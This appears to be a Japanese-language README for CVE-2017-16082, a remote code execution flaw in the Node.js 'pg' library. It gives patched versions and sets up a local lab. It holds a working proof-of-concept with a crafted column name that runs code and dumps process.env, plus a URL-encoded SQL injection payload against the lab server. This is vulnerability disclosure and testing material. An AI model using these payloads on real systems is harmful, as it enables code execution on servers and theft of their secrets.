CVE-2017-16082

CVE-2017-16082

概要

影響を受けるバージョンの pg には、リモートデータベースまたはクエリが巧妙に細工された列名を指定した場合に発生するリモートコード実行の脆弱性が含まれます。

アプリケーションが脆弱になり得る具体的なシナリオは2つあります：

1. アプリケーションが、悪意のある列名を含む安全でないユーザー指定のSQLを実行する。
2. アプリケーションが信頼できないデータベースに接続し、悪意のある列名を含む結果を返すクエリを実行する。

概念実証

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

修正

• Version 2.x.x: バージョン2.11.2以降に更新してください。
• Version 3.x.x: バージョン3.6.4以降に更新してください。
• Version 4.x.x: バージョン4.5.7以降に更新してください。
• Version 5.x.x: バージョン5.2.1以降に更新してください。
• Version 6.x.x: バージョン6.4.2以降に更新してください。 ( 注：バージョン6.1.6、6.2.5、6.3.3も修正済みです。 )
• Version 7.x.x: バージョン7.1.2以降に更新してください。 ( 注：バージョン7.0.2も修正済みです。 )

ローカルテスト 💣

git clone https://github.com/nulldreams/CVE-2017-16082.git

cd CVE-2017-16082

npm i && node server.js

localhost:5000/api/v1/users?id=1 にリクエストを送信します。 結果

[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    }
]

次に、1;SELECT 1 AS "\']=0;console.log(process.env)//" のようなペイロードを使用してリクエストを送信し、URLエンコーダー でエンコードします。

最終URL: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22

[
    {
        "id": 1,
        "username": "wubba",
        "password": "123",
        "createdAt": "2018-11-27T09:19:54.000Z",
        "updatedAt": "2018-11-27T09:19:54.000Z"
    },
    {
        "\\": 0
    }
]

サーバーのターミナルを確認してください。